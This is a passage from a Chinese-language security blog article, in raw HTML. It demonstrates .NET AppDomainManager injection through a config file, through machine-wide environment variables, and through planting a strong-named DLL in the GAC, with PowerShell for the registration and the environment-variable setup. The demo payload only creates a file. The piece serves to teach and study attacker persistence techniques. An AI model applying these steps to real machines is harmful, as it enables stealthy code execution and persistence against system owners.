src="https://wechat2rss.xlab.app/img-proxy/?k=a676b3cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3t5dzPZOTbUcEDHoNBibwtuXAz25sicWGNniaj8aSCg6ibMpp6Iwib3UoicV8umrC1OkDMC65dKKx5b2ibx0icsTJ11deibOaKicmM8B7K0%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762ivn" style="font-size: 15px;">接着又打开了文件 AppVStreamingUX_Multi_User.dll</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.05185185185185185" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130886" src="https://wechat2rss.xlab.app/img-proxy/?k=fa122fac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0DY5r1BESkD1CuCEhpZb1LnU5JSaiakjuISibB8CRvbqxCotBwmFt5TNObFkaS09PCAVht6GZaZ2qDYicBG8Nq9p2NbltLxBBNeo%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762dro" style="font-size: 15px;">可以清楚地看到，这个AppVStreamingUX.exe 加载了 AppVStreamingUX_Multi_User.dll。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.3435185185185185" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130889" src="https://wechat2rss.xlab.app/img-proxy/?k=744ceb3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1XyelRCTtibJE5x5fQD0SUDadt8lKW98soy0cic3dibST1SYXO9LoTUI2ib7y53yPHmb9FW4jnLlR4PcohKRU3yxJE1FozMG0N6ms%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621ox8" style="font-size: 15px;">这次测试成功实现了利用配置文件的 AppDomainManager 注入。</span></p><p><span leaf="" mpa-font-style="motno76210xr" style="font-size: 15px;">需要注意的是，</span><span leaf="" style="font-size: 15px;">若以下任一条件不满足，CLR 将抛出异常并终止启动：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="motno762kec" style="font-size: 15px;">Assembly 无法解析</span></p></li><li><p><span leaf="" mpa-font-style="motno76213cg" style="font-size: 15px;">Type 不存在或不继承 AppDomainManager</span></p></li><li><p><span leaf="" mpa-font-style="motno762c89" style="font-size: 15px;">强名称或版本不匹配</span></p></li></ul><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(231, 58, 48) rgb(231, 58, 48) rgb(247, 121, 73) rgb(247, 121, 73);vertical-align: bottom;align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">三、修改环境变量实现注入</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130918" src="https://wechat2rss.xlab.app/img-proxy/?k=695c1531&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1vjzUc2baZgRt8hbJgYUOtzq2UjXJx7o5JdlmMRxjW3P6OqWcT2LPiame8nmvD4HLjCoibON7Bw90aRDbmb0XU4GrU1lL0eE4lg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762150x" style="font-size: 15px;">3.1 全局环境变量设置</span></h2><p><span leaf="" mpa-font-style="motno7621b6p" style="font-size: 15px;">编译新的 dll：</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.5222222222222223" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130888" src="https://wechat2rss.xlab.app/img-proxy/?k=d93a5cc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K05tTBfqf33YQlUSGCwqvRib9A2B7JI3g48nVMlUlYfbuRloBSRyVLS50rHVYbIxTcEGsfdCbbiacNeQexNcYvFakVvxqFBia5ZtU%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621nm4" style="font-size: 15px;">运行命令，将以上代码编译为 GlobalManager.dll：</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.08611111111111111" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130887" src="https://wechat2rss.xlab.app/img-proxy/?k=ffbaa029&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K37VlEWrYcGIIp1wsgasTSF37Rgxd6qqGOrbVCbQf8ykH82Dfjk4fO9lUloyhzPUUZ5UmgMKmJI4W0oPXicPjpRvXBWxzR9SQqw%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.09266409266409266" data-type="webp" data-w="1036" style="max-width: 100%;" data-imgfileid="311130885" src="https://wechat2rss.xlab.app/img-proxy/?k=655e189b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0pg8eEWhW4FZ6102jbFmV4d2x3tsrTZBWJDHUN7v5gK85mGia0UiaNicGLnT6aiaMiazneu4GibIF1Nabjz2okc0qzexAtVIXGR9T30%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762pof" style="font-size: 15px;">管理员权限打开 Powershell，依次执行以下命令：</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.36018518518518516" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130892" src="https://wechat2rss.xlab.app/img-proxy/?k=cca62a09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0IxUp5XOCeibywhBgRqZZyLShfnMYicPoKT6gVs8jGibjRDqasckluoGM4lZLZevUrkXlU61Ib0meXpVwpVWasZ7elCjRvJxqNUo%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.22777777777777777" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130893" src="https://wechat2rss.xlab.app/img-proxy/?k=be000f00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3XIf0PGeuRYpd2pEaMAykoDIBQiajjy09rSjicHXjIVSO2yHwnL4Lks03PZTV4p7hEyxj59ia44HXWNQQib201uibpvjUeG4JWZ7rA%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno76213x0" style="font-size: 15px;">接着把 dll 文件放到文件夹C:\test，然后设置环境变量：</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.057651991614255764" data-type="webp" data-w="954" style="max-width: 100%;" data-imgfileid="311130891" src="https://wechat2rss.xlab.app/img-proxy/?k=e9048fb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K03fdIVjHmTMrKibhGKgmSqP8AO8EyoSzJtzgF4sxAerzgG6I0XrssshsXibibmJaCUMfe8fzBQicZentD5jAjS3NerfxYicxgHztxU%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621bqm" style="font-size: 15px;">点击运行AppVStreamingUX.exe，创建了 success.txt 文档，说明注入成功。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.24737344794651384" data-type="webp" data-w="1047" style="max-width: 100%;" data-imgfileid="311130890" src="https://wechat2rss.xlab.app/img-proxy/?k=91b82360&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K19vD5ENRPbM7FMTMKGTdRnaUJ0Lgv6TYnVIQ5GfNKzJNpCsicjm7YBjcdvia0yqSEiaNgdu0v9lhOibFjXcDV6FbqBVVZJ4JmLtQQ%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621wny" style="font-size: 15px;">注意，.NET Core 和 .NET 5+ 之后，环境变量的前缀从 COMPLUS_ 变更为 DOTNET_（例如 DOTNET_AppDomainManagerAsm）</span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno7621ws0" style="font-size: 15px;">3.2 环境变量设置+路径加载</span></h2><p><span leaf="" mpa-font-style="motno7621bfn" style="font-size: 15px;">将GlobalManager.dll放进 .NET Framework 的核心目录里，例如C:\Windows\Microsoft.NET\Framework64\v4.0.30319，该路径下有几个常用的.NET 程序，例如MSBuild 和RegAsm。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.2074074074074074" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130894" src="https://wechat2rss.xlab.app/img-proxy/?k=36690c9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1EpsnzHAdv8jMInVBf2oS4G9gHHdrU2wnU6caoFUnjUG9VyB9kFIH87tGNkVyXyQMc1tqfoD3jiaiccgeiaGCPX7zGxRAmAkk4FQ%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621iwq" style="font-size: 15px;">和之前的环境变量设置方法有点不同，由于 DLL 就在路径里，不再需要版本号、Token 等复杂信息。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.09259259259259259" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130896" src="https://wechat2rss.xlab.app/img-proxy/?k=55d9d789&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0TriaHDu2TpgDngom8q5NPFzPkxkicpiaYETR5DP9SOoJmqkag4OOepnbUqI3a7mZd8lASoIiaUU7ObcwTauZbraFZa8g4Gh0Mqog%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762lf9" style="font-size: 15px;">设置好环境变量之后，可以看一下注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment 验证一下。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.23055555555555557" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130898" src="https://wechat2rss.xlab.app/img-proxy/?k=9aac6afc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3yeZ0whSWMTTNEm8icD3cYN7CMpGOur2wz9wLx93Rfmt1ibjGU9PlBwwSibVkQAoA0A3o61DBZUhbhGaXzx9libkyYfu14pWsP7FM%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762zvu" style="font-size: 15px;">环境变量的设置确实生效了，然后点击RegAsm.exe，通过火绒剑看到RegAsm.exe 打开了GlobalManager.dll，并执行了这个 dll 创建了success.txt 文档。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.40925925925925927" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130899" src="https://wechat2rss.xlab.app/img-proxy/?k=ea6cc591&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1pyzzibISlEaoSYXvYvsU8ibDsYhCib1foItP35qeEXk0gVddjdGxmb3GVmlbw96M5HMoZODic4NCA87wIlvGggY97cDcRSaaL2s0%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762zmz" style="font-size: 15px;">这与 DLL 劫持不同的是，这个是“一对多”的关系，即不仅是RegAsm.exe，此文件夹下的其他很多程序在运行时都会加载这个 dll。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(231, 58, 48) rgb(231, 58, 48) rgb(247, 121, 73) rgb(247, 121, 73);vertical-align: bottom;align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">四、利用 GAC 实现注入</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130919" src="https://wechat2rss.xlab.app/img-proxy/?k=93f15a6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K298fT9r1iauaYZtSPeGR2u7VIbduia2aicupANibOL31k3vicVMwicTDpzxKlibGwfYFQTKhYichCNojOIFurZGGewA0JnDJFgKNlmNdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motno7624iu" style="font-size: 15px;">利用 GAC 实现 AppDomainManager 注入，是指通过将具备强签名的恶意 DLL 植入受信任的系统GAC（全局程序集缓存），并配置特定的环境变量，可迫使 CLR 在启动任意 .NET 进程时，优先从 GAC 加载该恶意类并实例化为 AppDomainManager。此过程无需篡改合法宿主文件，即可在主程序代码执行前静默劫持控制流，实现高隐蔽、全局性的系统级权限驻留。</span></p><blockquote><p><span leaf="" mpa-font-style="motno762158w" style="font-size: 15px;">全局程序集缓存 (Global Assembly Cache, GAC) 是 .NET Framework 中的一个专用、系统范围的中央存储库，用于存储被多个应用共享的“强名称程序集”。它能解决版本冲突，节省磁盘空间，并支持强名称和数字签名验证。GAC 主要存在于 .NET Framework 环境中（例如 C:\Windows\assembly），在 .NET Core 及后续版本中已被弃用</span></p></blockquote><p><span leaf="" mpa-font-style="motno762mgu" style="font-size: 15px;">有分析报告显示，在国内比较猖獗的银狐木马曾在攻击中使用这种技术。</span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762mgf" style="font-size: 15px;">4.1 编译生成 DLL</span></h2><p><span leaf="" mpa-font-style="motno762ffl" style="font-size: 15px;">打开 Visual Studio，新建一个 “类库 (.NET Framework)”，注意.NET 的版本，要与虚拟机中的.NET 版本保持一致，否则可能无法成功实现注入。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.6547507055503292" data-type="webp" data-w="1063" style="max-width: 100%;" data-imgfileid="311130897" src="https://wechat2rss.xlab.app/img-proxy/?k=c547353d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2LAxibxH0FVEU1CeellqG1sBic8EV0YJtXqia85joK8N2eybjke9hLn1D33WxTYKXZ2qicAbaibOMadzLoWDljycKpjNkoKuGdzNcI%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="motno762qjl" style="font-size: 15px;">右键点击项目名 GacInjectTest -&gt; 属性 (Properties)</span></p></li><li><p><span leaf="" mpa-font-style="motno762kb4" style="font-size: 15px;">在左侧找到“签名 (Signing)” 选项卡，勾选 “为程序集签名”</span></p></li><li><p><span leaf="" mpa-font-style="motno76223dn" style="font-size: 15px;">在下拉框中选择 “&lt;新建...&gt;”</span></p></li><li><p><span leaf="" mpa-font-style="motno7621ec4" style="font-size: 15px;">随便起个密钥文件名，比如 key，取消勾选“使用密码保护我的密钥文件”，点击确定。</span></p></li></ul><p><span leaf="" mpa-font-style="motno762ofa" style="font-size: 15px;">然后编译生成文件GacInjectTest.dll：</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.6416666666666667" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130895" src="https://wechat2rss.xlab.app/img-proxy/?k=936b0718&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1nP1ZwOa9GsCDib1eGPaOPkfNJ0MACgEFicaYVCrrGppiaNaliaRf1l7icetYfPgQxgFuu08W9SJ5xRk8K0A1HEbKQwFvicyTYv0libs%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762v6z" style="font-size: 15px;">GAC（全局程序集缓存）里面的 DLL 会被全系统所有的 .NET 程序共享调用。GAC提供全局程序集解析能力，但代码执行权限仍取决于宿主进程安全上下文。写入 GAC 通常需要管理员权限，GAC 影响的是“加载路径”，不是“权限提升”。在 Visual Studio 里做的这个“新建签名”操作，本质上就是利用非对称加密算法（RSA），给 DLL 盖上了一个独一无二的“加密防伪钢印”，这个在 .NET 术语中就叫 “强名称（Strong Name）”。</span></p><p><span leaf="" mpa-font-style="motno762215" style="font-size: 15px;">全世界可能有成千上万个程序员都写了一个名叫 Utils.dll 的文件。如果都塞进 GAC 里，系统就彻底乱套了。给程序集签名后，系统识别这个 DLL 就不再只看名字了，而是看它的 “四元组身份”：文件名 + 版本号 + 语言文化 + 公钥标记 (PublicKeyToken)。</span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno7621r05" style="font-size: 15px;">4.2 将 dll 注册到 GAC</span></h2><p><span leaf="" mpa-font-style="motno7621jm2" style="font-size: 15px;">将 dll 注册到系统的 GAC 中，方便所有的 .NET 程序共享调用，可以通过在 Powershell 执行以下命令实现注册：</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.29444444444444445" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130904" src="https://wechat2rss.xlab.app/img-proxy/?k=754cb1fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0nLrmAC6IYtL91ok5oiaDfLibcr9Rv8kYp3lpibMwvicpNdIg5cLU1U003G2nV9Ygju5tibiaAMw3CqGqyPRIBpWgMiaX524PLay2NpQ%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762wtt" style="font-size: 15px;">注册完成之后，执行以下命令获取一下已注册 dll 的“四元组身份”：文件名 + 版本号 + 语言文化 + 公钥标记 (PublicKeyToken)，方便后续的环境变量设置。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motno7621ceh"><span leaf=""><span class="code-snippet__variable">$assembly</span> = [<span class="code-snippet__title">System</span>.<span class="code-snippet__title">Reflection</span>.<span class="code-snippet__title">Assembly</span>]</span><span leaf="">:</span><span leaf="">:ReflectionOnlyLoadFrom</span><span leaf="">(<span class="code-snippet__string">&#34;C:\Demo\GacInjectTest.dll&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">$assembly</span>.<span class="code-snippet__title">FullName</span></span></code></pre></p><p><span leaf="" mpa-font-style="motno762rk7" style="font-size: 15px;">获取的文件“四元组身份”：GacInjectTest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9416298015f19395</span></p><p><span leaf="" mpa-font-style="motno762p2" style="font-size: 15px;">在 .NET 程序集的强名称中，Culture 指的是该程序集所包含的区域性（语言和区域）资源，它决定了程序集是主程序集还是附属（卫星）程序集。</span></p><p><span leaf="" mpa-font-style="motno7621lnk" style="font-size: 15px;">Culture=neutral ：neutral（非特定区域） 表示该程序集不包含任何特定语言或区域的资源，它属于默认程序集（主程序集）。这类程序集通常包含代码逻辑和默认语言（通常是英语）的资源（或资源作为后备）。</span></p><p><span leaf="" mpa-font-style="motno76212rq" style="font-size: 15px;">如果一个程序集的 Culture 不是 neutral，比如 Culture=zh-CN 或 Culture=fr-FR，它就是一个卫星程序集，里面只包含语言特定的资源（如翻译后的字符串、图片），不包含代码。它会被放在 GAC 的特定子目录（或应用程序的 zh-CN\ 等子文件夹）中，由 .NET 根据当前线程的 CurrentUICulture 自动加载。</span></p><p><span leaf="" mpa-font-style="motno7624x3" style="font-size: 15px;">检查看看 dll 在 GAC 的注册是否成功，看一下文件夹路径 C:\Windows\Microsoft.NET\assembly\GAC_MSIL\，找到了以 dll 名称命名的文件夹，这个文件夹会有一个名字很长的子文件夹，格式是这样的：v4.0_1.0.0.0__9416298015f19395 （包含了版本号和PublicKeyToken），再进入这个长名字文件夹，会看到GacInjectTest.dll，说明注册成功。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.16586768935762225" data-type="webp" data-w="1043" style="max-width: 100%;" data-imgfileid="311130900" src="https://wechat2rss.xlab.app/img-proxy/?k=e4582ce5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0DicSetP1TK0lIVgIJq7vIJHRxT0kCjfuEOVn5ZJj5JMibkSlSuiaLPAnXom21q5IvLev67W6LW7HXaCvxsicJzkvDdicwwLHeyl9A%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno7621oqg" style="font-size: 15px;">4.3 设置环境变量</span></h2><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motno7621il2"><span leaf=""><span class="code-snippet__comment"># 开启开发者模式</span></span><span leaf=""><br/></span><span leaf="">[<span class="code-snippet__title">Environment</span>]</span><span leaf="">:</span><span leaf="">:SetEnvironmentVariable</span><span leaf="">(<span class="code-snippet__string">&#34;COMPlus_DevelopmentMode&#34;</span>, <span class="code-snippet__string">&#34;1&#34;</span>, <span class="code-snippet__string">&#34;Machine&#34;</span>)  </span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 定义 DLL 的信息 </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">$asmName</span> = <span class="code-snippet__string">&#34;GacInjectTest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9416298015f19395&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">$typeName</span> = <span class="code-snippet__string">&#34;GacInjectTest.MyManager&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 设置系统级环境变量</span></span><span leaf=""><br/></span><span leaf="">[<span class="code-snippet__title">Environment</span>]</span><span leaf="">:</span><span leaf="">:SetEnvironmentVariable</span><span leaf="">(<span class="code-snippet__string">&#34;APPDOMAIN_MANAGER_ASM&#34;</span>, <span class="code-snippet__variable">$asmName</span>, <span class="code-snippet__string">&#34;Machine&#34;</span>)</span><span leaf=""><br/></span><span leaf="">[<span class="code-snippet__title">Environment</span>]</span><span leaf="">:</span><span leaf="">:SetEnvironmentVariable</span><span leaf="">(<span class="code-snippet__string">&#34;APPDOMAIN_MANAGER_TYPE&#34;</span>, <span class="code-snippet__variable">$typeName</span>, <span class="code-snippet__string">&#34;Machine&#34;</span>)</span><span leaf=""><br/></span><span leaf="">[<span class="code-snippet__title">Environment</span>]</span><span leaf="">:</span><span leaf="">:SetEnvironmentVariable</span><span leaf="">(<span class="code-snippet__string">&#34;DEVPATH&#34;</span>, <span class="code-snippet__string">&#34;C:\Demo&#34;</span>, <span 